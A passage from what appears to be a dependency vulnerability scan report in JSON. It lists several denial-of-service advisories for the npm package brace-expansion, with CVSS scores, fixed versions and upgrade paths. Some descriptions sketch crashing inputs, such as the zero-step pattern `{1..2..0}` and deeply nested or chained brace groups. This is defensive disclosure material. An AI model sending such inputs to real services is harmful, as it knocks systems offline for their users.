"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
